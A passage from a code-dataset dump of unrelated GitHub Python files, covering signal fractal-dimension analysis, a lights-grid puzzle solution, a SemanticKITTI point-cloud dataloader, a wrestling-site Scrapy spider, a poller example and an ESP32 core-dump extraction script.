Lq_k(sig_true, 1, fs)\n L2 = Lq_k(sig_true,2,fs)\n Ds[w-1] = (np.log(L1) - np.log(L2)) / (np.log(2))\n ##Thresholding necessary since we use an approximation of the Higuchi method\n if Ds[w-1] >2 or np.isnan(Ds[w-1]):\n Ds[w-1] = 2\n elif Ds[w-1] <1:\n Ds[w-1] = 1\n return Ds,np.mean(Ds[~np.isnan(Ds)])\n\n\ndef add_observational_noise(sig, SNR):\n Power_sig = (1 / len(sig)) * np.sum(np.abs(sig) ** 2, dtype=np.float64)\n P_db = 10 * np.log10(Power_sig)\n noisedb = P_db - SNR\n sd_db_watts = 10 ** (noisedb / 10)\n # sd_noise = np.sqrt(Power_sig/(SNR))\n noise = np.random.normal(0, np.sqrt(sd_db_watts), len(sig))\n sig_noisy = sig + noise\n return sig_noisy\n\n\ndef TSDvsNoiseLevel_array(noise_level, path_to_data, list_attractor):\n Dmean = {}\n SD_D = {}\n\n for i in noise_level:\n if i == 0:\n for name in list_attractor:\n mid_Dmean = np.array([])\n mid_SD = np.array([])\n for j in range(0, len(os.listdir(path_to_data + f\"/{name}_attractors\"))):\n coord, _ = system_coordinates_reader(path_to_data, name, j)\n Obs = coord[:, 0]\n Mean_TSD, SD_TSD = TSD_mean_calculator(Obs, 100)\n mid_Dmean = np.append(mid_Dmean, Mean_TSD)\n mid_SD = np.append(mid_SD, SD_TSD)\n Dmean[name] = np.array([np.mean(mid_Dmean)])\n SD_D[name] = np.array([np.mean(mid_SD)])\n\n else:\n for name in list_attractor:\n mid_Dmean = np.array([])\n mid_SD = np.array([])\n for j in range(0, len(os.listdir(path_to_data + f\"/{name}_attractors\"))):\n coord, _ = system_coordinates_reader(path_to_data, name, j)\n Obs = coord[:, 0]\n noise_obs = add_observational_noise(Obs, 1 / i)\n Mean_TSD, SD_TSD = TSD_mean_calculator(noise_obs, 100)\n mid_Dmean = np.append(mid_Dmean, Mean_TSD)\n mid_SD = np.append(mid_SD, SD_TSD)\n Dmean[name] = np.append(Dmean[name], np.mean(mid_Dmean))\n SD_D[name] = np.array(SD_D[name], np.mean(mid_SD))\n\n return Dmean, SD_D\n\n\ndef plt_TSDvsNoise(noise_lev, path_to_data, attractors_sel):\n Great_mean, Great_SD = TSDvsNoiseLevel_array(noise_lev, path_to_data, attractors_sel)\n fig, ax = plt.subplots(len(attractors_sel) - 1, 2, figsize=(20, 10))\n for i, j in zip(attractors_sel, range(len(attractors_sel))):\n ax[j].errorbar(noise_lev, Great_mean[i], Great_SD[i])\n ax[j].set_xlabel(\"Noise level\")\n ax[j].set_ylabel(\"mean TSD value\")\n ax[j].set_title(f\"TSD vs noise level for {i} system\")\n ax[j].set_ylim([1.9, 2.1])\n ax[j].grid()\n\n plt.figure()\n for i in attractors_sel:\n plt.plot(noise_lev, Great_mean[i])\n plt.legend([i for i in attractors_sel])\n plt.title(\"Mean TSD value evolution with noise level for both system\")\n plt.xlabel(\"Noise level\")\n plt.ylabel(\"mean TSD value\")\n plt.ylim([1.9, 2.1])\n plt.grid()\n plt.show()\n","repo_name":"CBergerEPFL/maitrise","sub_path":"src/Metrics/TSD_cal.py","file_name":"TSD_cal.py","file_ext":"py","file_size_in_byte":13318,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"52"} +{"seq_id":"43339882574","text":"# %%\n\n# read data for tests\nimport pandas as pd\ndf = pd.read_csv('/Users/lukasgehrke/Documents/temp/chatham/LG_data_crdPhase1/df_scenario1_random_sample.csv')\n# df = df.sample(100000) # select random rows for faster debugging\n# df.to_csv('/Users/lukasgehrke/Documents/temp/chatham/LG_data_crdPhase1/df_scenario1_random_sample.csv', index=False)\n\ndata = df[['X', 'Y']]\ndesign = df[['pID' ,'Activity', 'Workload', 'Intensity', 'GTLX']]\ndesign.head()\n\n# %%\nimport pandas as pd\nimport numpy as np\n\nparticipants = 20\nsize = 100\nX = []\nY = []\npID = []\nsome_cat_between_factor = []\n\nfor p in range(participants):\n if p < participants/2:\n level = [\"A\"]\n else:\n level = [\"B\"]\n X = X+np.random.random(size).tolist()\n Y = Y+np.random.random(size).tolist()\n pID = pID+([p]*size)\n some_cat_between_factor = some_cat_between_factor+(level*size)\n\ndata = {\"X\":X, \"Y\": Y, \"pID\":pID, \"some_cat_between_factor\": some_cat_between_factor}\ndf = pd.DataFrame.from_dict(data)\n\n\n\n\nthis_df = pd.DataFrame.from_dict(d)\n# %%\nimport pandas as pd\nimport numpy as np\n\nsize = 100\nd = {'X': np.random.random(size), 'Y': np.random.random(size), 'pID':[4]*size, 'some_cat_between_factor': [\"A\"]*size}\nthis_df = pd.DataFrame.from_dict(d)\n\n# %%\n","repo_name":"lukasgehrke/paraheat","sub_path":"heat/test_notebook.py","file_name":"test_notebook.py","file_ext":"py","file_size_in_byte":1240,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"52"} +{"seq_id":"7278277800","text":"from setuptools import setup, find_packages\n\nrequirements = []\nwith open(\"requirements.txt\") as fp:\n for requirement in fp.readlines():\n requirements.append(requirement)\n\nsetup(\n name=\"brokorli\",\n version=\"0.1\",\n description=\"\",\n author=\"brokorli\",\n packages=find_packages(),\n include_package_data=True,\n install_requires=requirements,\n zip_safe=False\n)","repo_name":"chnaaam/brokorli","sub_path":"setup.py","file_name":"setup.py","file_ext":"py","file_size_in_byte":387,"program_lang":"python","lang":"en","doc_type":"code","stars":3,"dataset":"github-code","pt":"52"} +{"seq_id":"6414739289","text":"\"\"\"\nGrid Zero\n=========\n\nYou are almost there. The only thing between you and foiling Professor Boolean's\nplans for good is a square grid of lights, only some of which seem to be lit up.\n\nThe grid seems to be a lock of some kind. That's interesting. Touching a light\ntoggles the light, as well as all of the other lights in the same row and column\nas that light.\n\nWait! The minions are coming - better hide.\n\nYes! By observing the minions, you see that the light grid is, indeed, a lock.\nThe key is to turn off all the lights by touching some of them. The minions are\ngone now, but the grid of lights is now lit up differently. Better unlock it\nfast, before you get caught.\n\nThe grid is always a square. You can think of the grid as an NxN matrix of\nzeroes and ones, where one denotes that the light is on, and zero means that the\nlight is off.\n\nFor example, if the matrix was\n\n1 1\n0 0\n\nTouching the bottom left light results in\n\n0 1\n1 1\n\nNow touching the bottom right light results in\n\n0 0\n0 0\n\n...which unlocks the door.\n\nWrite a function answer(matrix) which returns the minimum number of lights that\nneed to be touched to unlock the lock, by turning off all the lights. If it is\nnot possible to do so, return -1.\n\nThe given matrix will be a list of N lists, each with N elements.\nElement matrix[i][j] represents the element in row i, column j of the matrix.\n\nEach element will be either 0 or 1, 0 representing a light that is off, and 1\nrepresenting a light that is on.\n\nN will be a positive integer, at least 2 and no more than 15.\n\"\"\"\n\nimport itertools\n\ndef answer(matrix):\n \"\"\"\n Determines the minimum number of switches required to turn off all the\n lights in a given matrix configuration.\n \"\"\"\n N = len(matrix) # Size of the matrix\n R = range(N) # Iteration range across the matrix\n\n\n # Calculate the sum of each row and column.\n row_sums = []\n col_sums = []\n for i in R:\n row_sums.append(sum(matrix[i]))\n col_sums.append(sum(matrix[j][i] for j in R))\n\n\n def point_parity_sum(matrix):\n \"\"\"\n Calculates the sum of the parities of each point's row and column sum.\n\n Eg. if a point at x,y has a bit sum of 6 (col + row - point), that point\n has a parity of 0, and doesn't contribute to the parity sum.\n \"\"\"\n S = 0\n P = range(len(matrix)) # Can't use R because it was calculated before\n # a potential padding in the odd size case.\n\n # For each point in the matrix, combine the sums of its row and column,\n # but subtract the point itself to negate counting the point twice.\n for row in P:\n for col in P:\n S += (row_sums[row] + col_sums[col] - matrix[row][col]) & 1\n\n return S\n\n\n # If the grid size is even, the smallest number of switches will be the sum\n # of the parities of each point's row and column sum.\n #\n # All configurations where the size is even can be solved, because you can\n # switch any light by switching all the lights in its row and column.\n if not N & 1:\n return point_parity_sum(matrix)\n\n # When the size of the grid is odd, the sum of all rows and columns must\n # have the same parity for a solution to exist.\n if len(set(x & 1 for x in row_sums + col_sums)) != 1:\n return -1\n\n result = None\n\n # Pad each row with a 0, creating an empty column.\n for row in matrix:\n row.append(0)\n\n # We have to brute force the padded row, adjust the padded column, and find\n # the solution with the fewest required switches that doesn't involve any\n # switches in the padded row or column.\n for permutation in itertools.product([0, 1], repeat=N):\n\n # Only use permutations where the row parity matches the other rows.\n if sum(permutation) & 1 != row_sums[0] & 1:\n continue\n\n # Padding the odd matrix to N+1 will require an extra slot for each sum.\n col_sums.append(0)\n row_sums.append(0)\n\n # Bottom right corner must be 0, otherwise it guarantees that a switch\n # is required in either the bottom row or the last column.\n permutation += (0,)\n\n # The candidate row contributes to the column sums.\n for i in R:\n col_sums[i] += permutation[i]\n\n # We have to calculate what the values of the column padding will be,\n # such that we won't need to switch any lights in that column.\n #\n # Every row parity has to be even where the padding column has a 1.\n for i in R:\n\n # We have to determine the parities of each point in the row to\n # determine whether we need to switch the column light or not.\n F = 0\n for j in R:\n F += (row_sums[i] + col_sums[j] - matrix[i][j]) & 1\n\n # If there are more 1's than 0's in the row point parity sum, we\n # know that the row will be flipped in the solution, so we can use\n # a one and know that it'll be flipped to a zero, therefore we know\n # that we wouldn't need to switch the padded point.\n flip = 1 if F > N >> 1 else 0\n\n matrix[i][N] = flip\n\n if flip:\n row_sums[i] += 1\n col_sums[N] += 1\n\n\n # Add the row candidate to the matrix.\n matrix.append(permutation)\n\n # Set the row sum for the bottom row (the solution candidate row).\n row_sums[N] = sum(permutation)\n\n # Solution candidate.\n candidate = point_parity_sum(matrix)\n\n # We're looking for the best candidate, so keep track of the smallest.\n if candidate < result or result is None:\n result = candidate\n\n # We have to reset the row and column sums for the next permutation.\n for i in R:\n row_sums[i] -= matrix[i][N]\n col_sums[i] -= matrix[N][i]\n\n matrix.pop()\n col_sums.pop()\n row_sums.pop()\n\n # Remove the padded column values from each row, so that we don't leave the\n # provided matrix in a different state than we received it.\n for row in matrix:\n row.pop()\n\n return result\n","repo_name":"rtheunissen/foobar","sub_path":"grid_zero.py","file_name":"grid_zero.py","file_ext":"py","file_size_in_byte":6171,"program_lang":"python","lang":"en","doc_type":"code","stars":140,"dataset":"github-code","pt":"52"} +{"seq_id":"3409307375","text":"import os\nimport numpy as np\nimport torch\nfrom torch_geometric.data import Dataset, Data\nimport yaml\n\n# for debugging Randlanet\nfrom torch_geometric.loader import DataLoader\nfrom model.Randlanet import RandlaNet\n\n\n\nclass SemanticKittiGraph(Dataset):\n EXTENSIONS_SCAN = ['.bin']\n EXTENSIONS_LABEL = ['.label']\n def __init__(self, dataset_dir, sequences, DATA_dir):\n super().__init__(root=dataset_dir, transform=None, pre_transform=None, pre_filter=None)\n DATA = yaml.safe_load(open(DATA_dir, 'r'))\n self.learning_map, self.learning_map_inv, self.labels, self.content = DATA['learning_map'], DATA['learning_map_inv'], DATA['labels'], DATA['content']\n self.sequences = sequences\n self.nclasses = len(self.learning_map_inv)\n self.scan_names, self.label_names = [], []\n\n # ['car', 'bicycle','motorcycle', 'truck', 'other-vehicle','person', 'bicyclist', 'motorcyclist']\n self.thing_in_xentropy = [1, 2, 3, 4, 5, 6, 7, 8]\n # ['road', 'parking', 'sidewalk', 'other-ground', 'building', 'fence', 'vegetation', 'trunk', 'terrain', 'pole', 'traffic-sign']\n self.stuff_in_xentropy = [9, 10, 11, 12, 13, 14, 15, 16, 17, 18, 19]\n\n # Iterate through sequences \n for sequence in self.sequences:\n\n print(f'Using Sequence Number: {sequence}')\n\n #does scan/label folder exist\n self.scan_paths = os.path.join(dataset_dir, \"sequences\", sequence, \"velodyne\")\n self.label_paths = os.path.join(dataset_dir, \"sequences\", sequence, \"labels\") \n \n if os.path.isdir(self.scan_paths):\n print(\"Sequence folder exists! Using sequence from %s\" % self.scan_paths)\n else:\n print(\"Sequence folder doesn't exist! Exiting...\")\n quit()\n\n if os.path.isdir(self.label_paths):\n print(\"Labels folder exists! Using labels from %s\" % self.label_paths)\n else:\n print(\"Labels folder doesn't exist! Exiting...\")\n quit()\n\n # populate the pointclouds/labels\n scan_names = [os.path.join(dp, f) for dp, dn, fn in os.walk(\n os.path.expanduser(self.scan_paths)) for f in fn if not f.startswith('.')]\n label_names = [os.path.join(dp, f) for dp, dn, fn in os.walk(\n os.path.expanduser(self.label_paths)) for f in fn if not f.startswith('.')]\n \n # extend list\n self.scan_names.extend(scan_names)\n self.label_names.extend(label_names)\n \n print(f'Number of scan/label files:{len(self.label_names)} in {sequence}')\n\n # sort for correspondance\n self.scan_names.sort()\n self.label_names.sort()\n\n # check that there are same amount of labels and scans\n if len(self.label_names) != len(self.scan_names):\n print(len(self.label_names), len(self.scan_names))\n assert(len(self.label_names) == len(self.scan_names))\n\n def len(self):\n return len(self.label_names)\n\n @staticmethod\n def map(label, mapdict):\n # put label from original values to xentropy\n # or vice-versa, depending on dictionary values\n # make learning map a lookup table\n maxkey = 0\n for key, data in mapdict.items():\n if isinstance(data, list):\n nel = len(data)\n else:\n nel = 1\n if key > maxkey:\n maxkey = key\n # +100 hack making lut bigger just in case there are unknown labels\n if nel > 1:\n lut = np.zeros((maxkey + 100, nel), dtype=np.int32)\n else:\n lut = np.zeros((maxkey + 100), dtype=np.int32)\n for key, data in mapdict.items():\n try:\n lut[key] = data\n except IndexError:\n print(\"Wrong key \", key)\n # do the mapping\n return lut[label]\n\n def get(self, idx):\n \"\"\" Open raw scan and fill in attributes\n \"\"\"\n scan_name = self.scan_names[idx]\n\n # check filename is string\n if not isinstance(scan_name, str):\n raise TypeError(\"Filename should be string type, \"\n \"but was {type}\".format(type=str(type(scan_name))))\n\n # check extension is a laserscan\n if not any(scan_name.endswith(ext) for ext in self.EXTENSIONS_SCAN):\n raise RuntimeError(\"Filename extension is not valid scan file.\")\n\n # if all goes well, open pointcloud\n scan = np.fromfile(scan_name, dtype=np.float32)\n scan = scan.reshape((-1, 4))\n\n # put in attribute\n points = scan[:, 0:3] # get xyz\n\n # number of points\n num_points = points.shape[0]\n # print(f'Number of points in scan: {num_points}')\n # print(f'Number of classes: {self.nclasses}')\n\n \"\"\" Open orignal label and fill in attributes\n \"\"\"\n label_name = self.label_names[idx]\n # check filename is string\n if not isinstance(label_name, str):\n raise TypeError(\"Filename should be string type, \"\n \"but was {type}\".format(type=str(type(label_name))))\n\n # check extension is a laserscan\n if not any(label_name.endswith(ext) for ext in self.EXTENSIONS_LABEL):\n raise RuntimeError(\"Filename extension is not valid label file.\")\n\n # if all goes well, open label\n label = np.fromfile(label_name, dtype=np.int32)\n label = label.reshape((-1))\n\n # sem_label and isntance label\n sem_label = label & 0xFFFF\n inst_label = label >> 16\n\n # label_string = [self.get_original_class_string(i) for i in sem_label] # suppress for speed\n map_sem_label = [self.to_xentropy(i) for i in sem_label]\n # map_label_string = [self.get_xentropy_class_string(i) for i in map_label] # suppress for speed \n \n \n # convert from numpy to tensor, default to float64\n points = torch.from_numpy(points)\n \n # # convert y to one_hot_label\n # onehot_label = self.to_onehot(map_label,self.nclasses, num_points)\n # onehot_label = torch.from_numpy(onehot_label)\n\n # pos:Node position matrix with shape [num_nodes, num_dimensions]\n # data = Data(pos=points, y=label.long)\n map_sem_label = torch.from_numpy(np.array(map_sem_label))\n\n # add instance label\n inst_label = torch.from_numpy(np.array(inst_label))\n\n data = Data(pos=points, y=map_sem_label.long(), z=inst_label.long())\n return data\n \n def get_n_classes(self):\n return self.nclasses\n\n def get_original_class_string(self, idx):\n return self.labels[idx]\n\n def get_xentropy_class_string(self, idx):\n # print(self.labels[self.learning_map_inv[idx]])\n return self.labels[self.learning_map_inv[idx]]\n\n def to_original(self, label):\n # put label in original values\n return self.map(label, self.learning_map_inv)\n\n def to_xentropy(self, label):\n # put label in xentropy values\n return self.map(label, self.learning_map)\n\n def to_onehot(self, label, nclasses, num_points):\n # initialize a matrix with dimension[nclasses, num_points]\n self.onehot_label = np.zeros((num_points, nclasses))\n for i, j in enumerate(label):\n self.onehot_label[i][j] = 1\n return self.onehot_label\n\n def map_loss_weight(self):\n epsilon_w = 0.001\n content = torch.zeros(self.nclasses)\n for cl, freq in self.content.items():\n x_cl = self.to_xentropy(cl)\n content[x_cl] += freq\n self.loss_w = 1 / (content + epsilon_w)\n return self.loss_w\n\n\n#Define a main function\nif __name__=='__main__':\n DATA_path = './semantic-kitti.yaml'\n testing_sequences = ['00']\n data_path = '/Volumes/scratchdata_smb/kitti/dataset/' # alternative path\n train_dataset = SemanticKittiGraph(dataset_dir=data_path, \n sequences= testing_sequences, \n DATA_dir=DATA_path)\n device = torch.device('cuda' if torch.cuda.is_available() else 'cpu')\n \n test_input = train_dataset[0].to(device)\n \n model = RandlaNet(num_features=3,\n num_classes=20,\n decimation= 4,\n num_neighbors=4).to(device)\n model.eval()\n test_output = model(test_input)\n ","repo_name":"yanghou2000/Panoptic-Segmentation","sub_path":"Semantic_Dataloader.py","file_name":"Semantic_Dataloader.py","file_ext":"py","file_size_in_byte":8521,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"52"} +{"seq_id":"72377012644","text":"from cgitb import text\nfrom imaplib import IMAP4_stream\nimport scrapy\nfrom wrestlingterritories.items import WrestlingEventItem\nfrom wrestlingterritories.items import WrestlingMatchItem\n\nclass MatchSpider(scrapy.Spider):\n name = 'match'\n start_urls = [\n 'https://www.cagematch.net/en/?id=8&view=promotions®ion=Amerika&status=&name=&location=&minRating=&maxRating=&minVotes=&maxVotes=']\n\n def parse(self, response):\n # commented out lines 14 - 23 for testing purposes\n for promotion in response.css('tr.TRow1, tr.TRow2'):\n URL = promotion.css('td.TCol.TColSeparator a::attr(href)').get()\n yield response.follow(URL, callback=self.parse2)\n pageNumber = 0\n next_page_link = f'https://www.cagematch.net/en/?id=8&view=promotions®ion=Amerika&s={pageNumber}'\n while pageNumber < 2400:\n yield response.follow(next_page_link, callback=self.parse)\n pageNumber += 100\n\n next_page_link = f'https://www.cagematch.net/en/?id=8&view=promotions®ion=Amerika&s={pageNumber}'\n # yield response.follow('https://www.cagematch.net/en/?id=8&nr=1', callback=self.parse2)\n\n def parse2(self, response):\n header = response.css('ul.ContentNavigator')\n eventsPage = ''\n for li in header.css('li'):\n if li.css('a::text').get() == 'Events':\n eventsPage = li.css('a::attr(href)').get()\n yield response.follow(eventsPage, callback=self.parse3)\n\n def parse3(self, response):\n table = response.css('table.TBase.TableBorderColor')\n rows = table.css('tr')\n rows = table.css('tr.TRow1, tr.TRow2')\n promoID = response.css('div.TextHeaderLogo a::text').get()\n for row in rows:\n matchPage = row.css('td.TCol.TColSeparator a::attr(href)').getall()\n yield response.follow(matchPage[1], callback = self.parse4)\n eventPage = 100\n next_page_link = f'https://www.cagematch.net/en/{promoID}&page=4&s={eventPage}'\n while eventPage < 24000:\n yield response.follow(next_page_link, callback=self.parse3)\n eventPage += 100\n next_page_link = f'https://www.cagematch.net/en/?id=8&nr=1&page=4&s={eventPage}'\n\n def parse4(self, response):\n item2 = WrestlingMatchItem()\n eventInfo = response.css('div.InformationBoxTable')\n matchInfo = response.css('div.Matches')\n if matchInfo is None:\n pass\n else:\n eventDate = ''\n for row in eventInfo.css('div.InformationBoxRow'):\n title = row.css(\n 'div.InformationBoxTitle::text').get().replace(':', '')\n content = row.css('div.InformationBoxContents a::text, div.InformationBoxContents::text')\n if title == 'Date':\n eventDate = content.get()\n for match in matchInfo.css('div.Match'):\n matchType = match.css('div.MatchType::text, div.MatchType a::text').getall()\n if len(matchType) == 1:\n matchTypeCombined = matchType[0]\n else:\n matchTypeCombined = ''.join(matchType).rstrip()\n matchResults = match.css('div.MatchResults::text, div.MatchResults a::text ').getall()\n item2['MatchType'] = matchTypeCombined.replace(' Match', '')\n item2['EventName'] = response.css('div.InformationBoxContents::text').get()\n item2['MatchResults'] = matchResults\n item2['EventDate'] = eventDate\n yield item2\n\n\n","repo_name":"anthonylouismorton/WrestlingTerritoriesScrapy","sub_path":"wrestlingterritories/spiders/match.py","file_name":"match.py","file_ext":"py","file_size_in_byte":3602,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"52"} +{"seq_id":"16254436489","text":"#!/usr/bin/env python3\n\nimport poller\nimport sys,time\n\n# declara um Callback capaz de fazer leitura do teclado, e com tempo limite\nclass CallbackStdin(poller.Callback):\n \n def __init__(self, tout:float):\n 'tout: tempo limite de espera, em segundos'\n poller.Callback.__init__(self, sys.stdin, tout)\n self._cnt = 0\n\n def handle(self):\n 'O tratador do evento leitura'\n l = sys.stdin.readline()\n print('Lido:', l)\n self._cnt = 0\n\n def handle_timeout(self):\n 'O tratador de evento timeout'\n self._cnt += 1\n print(f'Timeout: cnt={self._cnt}')\n if self._cnt == 3:\n # desativa o timeout deste callback, e também o evento leitura !\n self.disable_timeout() \n self.disable()\n\n#################################### \n\n# instancia um callback\ncb = CallbackStdin(3)\n\n# cria o poller (event loop)\nsched = poller.Poller()\n\n# registra o callback no poller\nsched.adiciona(cb)\n\n# entrega o controle pro loop de eventos\nsched.despache()\n","repo_name":"Faracoeng/Projetos-de-protocolos","sub_path":"2021/Prototipo_SW/poller.py","file_name":"poller.py","file_ext":"py","file_size_in_byte":1042,"program_lang":"python","lang":"pt","doc_type":"code","stars":0,"dataset":"github-code","pt":"52"} +{"seq_id":"41309182567","text":"#!/usr/bin/env python3\n\nimport base64\nimport string\nimport json\nimport argparse\nimport os, sys\nimport subprocess\nimport tempfile\nfrom shutil import which\n\nimport parttool\n\ndef find_gdb():\n path = which(\"xtensa-esp32-elf-gdb\")\n if path is not None:\n return path\n\n path = which(\"pio\")\n if path is not None:\n return path + \" pkg exec xtensa-esp32-elf-gdb --\"\n\n return None\n\nPREFIX = b\"___tf_coredump_info_start___\"\nSUFFIX = b\"___tf_coredump_info_end___\"\nEXTRA_INFO_HEADER = b'\\xA5\\x02\\x00\\x00EXTRA_INFO'\n\ndef extra_info_reg_name(reg):\n return {\n 232: 'EXCCAUSE',\n 238: 'EXCVADDR',\n 177: 'EPC1',\n 178: 'EPC2',\n 179: 'EPC3',\n 180: 'EPC4',\n 181: 'EPC5',\n 182: 'EPC6',\n 183: 'EPC7',\n 194: 'EPS2',\n 195: 'EPS3',\n 196: 'EPS4',\n 197: 'EPS5',\n 198: 'EPS6',\n 199: 'EPS7'\n }.get(reg, 'unknown register')\n\n# https://github.com/espressif/esp-coredump/blob/08f92cf36e7a649650a8b722cc96217026fd0174/esp_coredump/corefile/xtensa.py#L13-L72\nINVALID_CAUSE_VALUE = 0xFFFF\nXCHAL_EXCCAUSE_NUM = 64\n\n# Exception cause dictionary to get translation of exccause register\n# From 4.4.1.5 table 4-64 Exception Causes of Xtensa\n# Instruction Set Architecture (ISA) Reference Manual\n\nXTENSA_EXCEPTION_CAUSE_DICT = {\n 0: ('IllegalInstructionCause', 'Illegal instruction'),\n 1: ('SyscallCause', 'SYSCALL instruction'),\n 2: ('InstructionFetchErrorCause',\n 'Processor internal physical address or data error during instruction fetch. (See EXCVADDR for more information)'),\n 3: ('LoadStoreErrorCause',\n 'Processor internal physical address or data error during load or store. (See EXCVADDR for more information)'),\n 4: ('Level1InterruptCause', 'Level-1 interrupt as indicated by set level-1 bits in the INTERRUPT register'),\n 5: ('AllocaCause', 'MOVSP instruction, if caller`s registers are not in the register file'),\n 6: ('IntegerDivideByZeroCause', 'QUOS: QUOU, REMS: or REMU divisor operand is zero'),\n 8: ('PrivilegedCause', 'Attempt to execute a privileged operation when CRING ? 0'),\n 9: ('LoadStoreAlignmentCause', 'Load or store to an unaligned address. (See EXCVADDR for more information)'),\n 12: ('InstrPIFDataErrorCause', 'PIF data error during instruction fetch. (See EXCVADDR for more information)'),\n 13: ('LoadStorePIFDataErrorCause',\n 'Synchronous PIF data error during LoadStore access. (See EXCVADDR for more information)'),\n 14: ('InstrPIFAddrErrorCause', 'PIF address error during instruction fetch. (See EXCVADDR for more information)'),\n 15: ('LoadStorePIFAddrErrorCause',\n 'Synchronous PIF address error during LoadStore access. (See EXCVADDR for more information)'),\n 16: ('InstTLBMissCause', 'Error during Instruction TLB refill. (See EXCVADDR for more information)'),\n 17: ('InstTLBMultiHitCause', 'Multiple instruction TLB entries matched. (See EXCVADDR for more information)'),\n 18: ('InstFetchPrivilegeCause',\n 'An instruction fetch referenced a virtual address at a ring level less than CRING. (See EXCVADDR for more information)'),\n 20: ('InstFetchProhibitedCause',\n 'An instruction fetch referenced a page mapped with an attribute that does not permit instruction fetch (EXCVADDR).'),\n 24: ('LoadStoreTLBMissCause', 'Error during TLB refill for a load or store. (See EXCVADDR for more information)'),\n 25: ('LoadStoreTLBMultiHitCause',\n 'Multiple TLB entries matched for a load or store. (See EXCVADDR for more information)'),\n 26: ('LoadStorePrivilegeCause',\n 'A load or store referenced a virtual address at a ring level less than CRING. (See EXCVADDR for more information)'),\n 28: ('LoadProhibitedCause',\n 'A load referenced a page mapped with an attribute that does not permit loads. (See EXCVADDR for more information)'),\n 29: ('StoreProhibitedCause',\n 'A store referenced a page mapped with an attribute that does not permit stores [Region Protection Option or MMU Option].'),\n 32: ('Coprocessor0Disabled', 'Coprocessor 0 instruction when cp0 disabled'),\n 33: ('Coprocessor1Disabled', 'Coprocessor 1 instruction when cp1 disabled'),\n 34: ('Coprocessor2Disabled', 'Coprocessor 2 instruction when cp2 disabled'),\n 35: ('Coprocessor3Disabled', 'Coprocessor 3 instruction when cp3 disabled'),\n 36: ('Coprocessor4Disabled', 'Coprocessor 4 instruction when cp4 disabled'),\n 37: ('Coprocessor5Disabled', 'Coprocessor 5 instruction when cp5 disabled'),\n 38: ('Coprocessor6Disabled', 'Coprocessor 6 instruction when cp6 disabled'),\n 39: ('Coprocessor7Disabled', 'Coprocessor 7 instruction when cp7 disabled'),\n INVALID_CAUSE_VALUE: (\n 'InvalidCauseRegister', 'Invalid EXCCAUSE register value or current task is broken and was skipped'),\n # ESP panic pseudo reasons\n XCHAL_EXCCAUSE_NUM + 0: ('UnknownException', 'Unknown exception'),\n XCHAL_EXCCAUSE_NUM + 1: ('DebugException', 'Unhandled debug exception'),\n XCHAL_EXCCAUSE_NUM + 2: ('DoubleException', 'Double exception'),\n XCHAL_EXCCAUSE_NUM + 3: ('KernelException', 'Unhandled kernel exception'),\n XCHAL_EXCCAUSE_NUM + 4: ('CoprocessorException', 'Coprocessor exception'),\n XCHAL_EXCCAUSE_NUM + 5: ('InterruptWDTTimoutCPU0', 'Interrupt wdt timeout on CPU0'),\n XCHAL_EXCCAUSE_NUM + 6: ('InterruptWDTTimoutCPU1', 'Interrupt wdt timeout on CPU1'),\n XCHAL_EXCCAUSE_NUM + 7: ('CacheError', 'Cache disabled but cached memory region accessed'),\n}\n\ndef format_extra_data(extra_data):\n result = \"\"\n if 'crashed_task_handle' in extra_data:\n result += f\"Crashed task handle {hex(extra_data['crashed_task_handle'])}\\n\"\n del extra_data['crashed_task_handle']\n\n for k, v in extra_data.items():\n if k == 'EXCCAUSE':\n result += f\"{k.ljust(16)}{hex(v).ljust(16)}{': '.join(XTENSA_EXCEPTION_CAUSE_DICT[v])}\\n\"\n else:\n result += f\"{k.ljust(16)}{hex(v).ljust(16)}{v}\\n\"\n return result\n\ndef get_tf_coredump_data(coredump_path: str):\n printable = set(string.printable)\n found_str = \"\"\n with open(coredump_path, \"rb\") as file:\n b = file.read()\n start = b.find(PREFIX)\n\n if start < 0:\n return (None, None)\n\n end = b.find(SUFFIX, start)\n\n if end < 0:\n return (None, None)\n\n start += len(PREFIX)\n tf_core_dump_data = b[start:end]\n\n # based on https://github.com/espressif/esp-coredump/blob/08f92cf36e7a649650a8b722cc96217026fd0174/esp_coredump/corefile/xtensa.py#L120\n # and staring at an ELF file\n\n # search xtensa extra info behind out core dump data\n extra_info_idx = b.find(EXTRA_INFO_HEADER, end)\n if extra_info_idx < 0 or (len(b) - extra_info_idx < (len(EXTRA_INFO_HEADER) + 2 + 108)):\n return (tf_core_dump_data, None)\n\n extra_data = {}\n\n # skip header\n extra_info_idx += len(EXTRA_INFO_HEADER)\n # skip two bytes (probably part of the ELF section header)\n extra_info_idx += 2\n\n extra_info = b[extra_info_idx:extra_info_idx+108]\n extra_data['crashed_task_handle'] = int.from_bytes(extra_info[:4], byteorder='little')\n\n for i in range(4, len(extra_info), 8):\n reg = int.from_bytes(extra_info[i:i+4], byteorder='little')\n if reg == 0:\n continue\n\n value = int.from_bytes(extra_info[i+4:i+8], byteorder='little')\n\n extra_data[extra_info_reg_name(reg)] = value\n\n return (tf_core_dump_data, extra_data)\n\ncore_dump_path = os.path.join(tempfile.gettempdir(), \"tf_coredump.elf\")\n\ndef get_core_dump_from_debug_report(path):\n with open(path) as file:\n file_str = file.read()\n core_dump_start_pos = file_str.rfind(\"___CORE_DUMP_START___\\n\\n\")\n if core_dump_start_pos < 0:\n print(\"Debug log doesn't contain a core dump\")\n sys.exit(-1)\n\n core_dump_b64 = file_str[core_dump_start_pos + 60:]\n core_dump = base64.b64decode(core_dump_b64)\n\n with open(core_dump_path, \"wb\") as f:\n f.write(core_dump)\n\ndef download_core_dump(port):\n # The partition table is always at the same offset, so read it first,\n # get the core dump partition offset and size and then read the core dump itself.\n os.system(\"pio pkg exec esptool.py -- --port {} --chip esp32 --baud 921600 read_flash 0x8000 0x1000 {}\".format(port, core_dump_path))\n\n core_dump_offset = None\n core_dump_size = None\n\n target = parttool.ParttoolTarget(core_dump_path)\n for p in target.partition_table:\n if p.type == parttool.DATA_TYPE and p.subtype == parttool.SUBTYPES[parttool.DATA_TYPE]['coredump']:\n core_dump_offset = p.offset\n core_dump_size = p.size\n\n if core_dump_offset is None or core_dump_size is None:\n raise Exception(\"Failed to get core dump partition offset or size from partition table!\")\n\n # Remove header before ELF file\n core_dump_offset += 20\n core_dump_size -= 20\n\n os.system(\"pio pkg exec esptool.py -- --port {} --chip esp32 --baud 